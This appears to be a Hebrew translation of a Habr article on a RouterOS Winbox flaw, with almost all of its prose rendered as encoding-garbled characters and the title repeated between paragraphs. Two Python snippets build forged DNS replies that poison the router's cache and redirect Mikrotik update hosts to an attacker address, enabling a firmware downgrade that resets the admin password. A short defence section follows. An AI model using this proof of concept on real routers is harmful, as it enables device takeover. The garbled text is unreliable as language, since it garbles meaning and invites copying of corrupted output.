ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ื”ื™ื›ื•ืœืช ืœืฉื“ืจื’ ืžืจื—ื•ืง ืžื›ืฉื™ืจื™ื ื”ืžื‘ื•ืกืกื™ื ืขืœ RouterOS (Mikrotik) ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ื”ืชืงื ื™ ืจืฉืช. ื”ืคื’ื™ืขื•ืช ืงืฉื•ืจื” ืœื”ืจืขืœืช ืžื˜ืžื•ืŸ ื”-DNS ืฉืœ ืคืจื•ื˜ื•ืงื•ืœ Winbox ื•ืžืืคืฉืจืช ืœื˜ืขื•ืŸ ืงื•ืฉื—ื” ืžื™ื•ืฉื ืช (ืขื ืื™ืคื•ืก ื‘ืจื™ืจืช ืžื—ื“ืœ ืœืกื™ืกืžื”) ืื• ืงื•ืฉื—ื” ืฉืขื‘ืจื” ืฉื™ื ื•ื™ ืขืœ ื”ืžื›ืฉื™ืจ.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ืคืจื˜ื™ ืคื’ื™ืขื•ืช

ืžืกื•ืฃ ื”-RouterOS ืชื•ืžืš ื‘ืคืงื•ื“ื” resolve ืœื—ื™ืคื•ืฉ DNS.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ื‘ืงืฉื” ื–ื• ืžื˜ื•ืคืœืช ืขืœ ื™ื“ื™ ื‘ื™ื ืืจื™ ื‘ืฉื ืคื•ืชืจ. Resolver ื”ื•ื ืื—ื“ ืžื ื™ืืจื™ื™ื ืจื‘ื™ื ืฉืžืชื—ื‘ืจื™ื ืœืคืจื•ื˜ื•ืงื•ืœ Winbox ืฉืœ RouterOS. ื‘ืจืžื” ื’ื‘ื•ื”ื”, ื ื™ืชืŸ ืœื ืชื‘ "ื”ื•ื“ืขื•ืช" ื”ื ืฉืœื—ื•ืช ืœื™ืฆื™ืืช Winbox ืœื‘ื™ื ืืจื™ื™ื ืฉื•ื ื™ื ื‘-RouterOS ื‘ื”ืชื‘ืกืก ืขืœ ืกื›ืžืช ืžืกืคื•ืจ ืžื‘ื•ืกืกืช ืžืขืจืš.

ื›ื‘ืจื™ืจืช ืžื—ื“ืœ, ืชื›ื•ื ืช ืฉืจืช ื”-DNS ืžื•ืฉื‘ืชืช ื‘-RouterOS.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ืขื ื–ืืช, ื’ื ื›ืืฉืจ ืคื•ื ืงืฆื™ื™ืช ื”ืฉืจืช ืžื•ืฉื‘ืชืช, ื”ื ืชื‘ ืฉื•ืžืจ ืขืœ ืžื˜ืžื•ืŸ DNS ืžืฉืœื•.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ื›ืืฉืจ ืื ื• ืฉื•ืœื—ื™ื ื‘ืงืฉื” ื‘ืืžืฆืขื•ืช winbox_dns_request ืœืžืฉืœ example.com, ื”ื ืชื‘ ื™ืฉืžื•ืจ ืืช ื”ืชื•ืฆืื” ื‘ืžื˜ืžื•ืŸ.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ืžื›ื™ื•ื•ืŸ ืฉืื ื• ื™ื›ื•ืœื™ื ืœืฆื™ื™ืŸ ืืช ืฉืจืช ื”-DNS ืฉื“ืจื›ื• ื”ื‘ืงืฉื” ืฆืจื™ื›ื” ืœืขื‘ื•ืจ, ื”ื–ื ืช ื›ืชื•ื‘ื•ืช ืฉื’ื•ื™ื•ืช ื”ื™ื ื˜ืจื™ื•ื•ื™ืืœื™ืช. ืœื“ื•ื’ืžื”, ืืชื” ื™ื›ื•ืœ ืœื”ื’ื“ื™ืจ ื™ื™ืฉื•ื ืฉืจืช DNS ืž ืคื™ืœื™ืค ืงืœืื•ืกืœื”ื’ื™ื‘ ืชืžื™ื“ ืขื ืจืฉื•ืžืช A ื”ืžื›ื™ืœื” ืืช ื›ืชื•ื‘ืช ื”-IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

ืขื›ืฉื™ื• ืื ืืชื” ืžื—ืคืฉ ืœืžืฉืœ.com ื‘ืืžืฆืขื•ืช Winbox, ืืชื” ื™ื›ื•ืœ ืœืจืื•ืช ืฉืžื˜ืžื•ืŸ ื”-DNS ืฉืœ ื”ื ืชื‘ ืžื•ืจืขืœ.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ื›ืžื•ื‘ืŸ, poisoning example.com ืื™ื ื• ืฉื™ืžื•ืฉื™ ื‘ืžื™ื•ื—ื“ ืžื›ื™ื•ื•ืŸ ืฉื”ื ืชื‘ ืœื ื™ืฉืชืžืฉ ื‘ื• ื‘ืคื•ืขืœ. ืขื ื–ืืช, ื”ื ืชื‘ ืฆืจื™ืš ืœื’ืฉืช ืœ- upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ื•-download.mikrotik.com. ื•ื‘ื–ื›ื•ืช ื˜ืขื•ืช ื ื•ืกืคืช ืืคืฉืจ ืœื”ืจืขื™ืœ ืืช ื›ื•ืœื ื‘ื‘ืช ืื—ืช.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

ื”ื ืชื‘ ืžื‘ืงืฉ ื”ืจืฉืื” ืื—ืช, ื•ืื ื—ื ื• ืžื—ื–ื™ืจื™ื ื—ืžื™ืฉื”. ื”ื ืชื‘ ืœื ืฉื•ืžืจ ืืช ื›ืœ ื”ืชื’ื•ื‘ื•ืช ื”ืœืœื• ื‘ืฆื•ืจื” ื ื›ื•ื ื”.

ืคื’ื™ืขื•ืช ืฉืœ ื™ืฆื™ืื•ืช ืื—ื•ืจื™ื•ืช ื‘-RouterOS ืžืกื›ื ืช ืžืื•ืช ืืœืคื™ ืžื›ืฉื™ืจื™ื

ื‘ืจื•ืจ ืฉื”ืชืงืคื” ื–ื• ืฉื™ืžื•ืฉื™ืช ื’ื ืื ื”ื ืชื‘ ืคื•ืขืœ ื›ืฉืจืช DNS, ืžื›ื™ื•ื•ืŸ ืฉื”ื™ื ืžืืคืฉืจืช ืœืชืงื•ืฃ ืœืงื•ื—ื•ืช ืฉืœ ื”ื ืชื‘.

ื”ืชืงืคื” ื–ื• ื’ื ืžืืคืฉืจืช ืœืš ืœื ืฆืœ ืคื’ื™ืขื•ืช ื—ืžื•ืจื” ื™ื•ืชืจ: ืฉื“ืจื•ื’ ืœืื—ื•ืจ ืื• ื”ืขื‘ืจื” ืœืื—ื•ืจ ืฉืœ ื”ื’ืจืกื” ืฉืœ RouterOS. ื”ืชื•ืงืฃ ื™ื•ืฆืจ ืžื—ื“ืฉ ืืช ื”ื”ื™ื’ื™ื•ืŸ ืฉืœ ืฉืจืช ื”ืขื“ื›ื•ื ื™ื, ื›ื•ืœืœ ื™ื•ืžืŸ ื”ืฉื™ื ื•ื™ื™ื, ื•ืžืืœืฅ ืืช RouterOS ืœืชืคื•ืก ืืช ื”ื’ืจืกื” ื”ืžื™ื•ืฉื ืช (ื”ืคื’ื™ืขื”) ื›ืขื“ื›ื ื™ืช. ื”ืกื›ื ื” ื›ืืŸ ื˜ืžื•ื ื” ื‘ืขื•ื‘ื“ื” ืฉื›ืืฉืจ ื”ื’ืจืกื” "ืžืชืขื“ื›ื ืช", ืกื™ืกืžืช ื”ืžื ื”ืœ ืžืื•ืคืกืช ืœืขืจืš ื‘ืจื™ืจืช ื”ืžื—ื“ืœ - ืชื•ืงืฃ ื™ื›ื•ืœ ืœื”ื™ื›ื ืก ืœืžืขืจื›ืช ืขื ืกื™ืกืžื” ืจื™ืงื”!


ื”ื”ืชืงืคื” ื“ื™ ืขื•ื‘ื“ืช, ืœืžืจื•ืช ื–ืืช ืžื—ื‘ืจ ืžื™ื™ืฉื ืขื•ื“ ื›ืžื” ื•ืงื˜ื•ืจื™ื, ื›ื•ืœืœ ืืœื” ื”ืงืฉื•ืจื™ื ืœ ื”ื˜ืžืขืช ื“ืœืช ืื—ื•ืจื™ืช ื‘ืงื•ืฉื—ื”, ืื‘ืœ ื–ื• ื›ื‘ืจ ื˜ื›ื ื™ืงื” ืžื™ื•ืชืจืช ื•ื”ืฉื™ืžื•ืฉ ื‘ื” ืœืžื˜ืจื•ืช ืœื ืœื’ื™ื˜ื™ืžื™ื•ืช ืื™ื ื• ื—ื•ืงื™.

ื”ื’ื ื”

ืคืฉื•ื˜ ื”ืฉื‘ืชืช Winbox ืžืืคืฉืจืช ืœืš ืœื”ื’ืŸ ืขืœ ืขืฆืžืš ืžืคื ื™ ื”ืชืงืคื•ืช ืืœื”. ืœืžืจื•ืช ื ื•ื—ื•ืช ื”ื ื™ื”ื•ืœ ื‘ืืžืฆืขื•ืช Winbox, ืขื“ื™ืฃ ืœื”ืฉืชืžืฉ ื‘ืคืจื•ื˜ื•ืงื•ืœ SSH.

ืžืงื•ืจ: www.habr.com

ื”ื•ืกืคืช ืชื’ื•ื‘ื”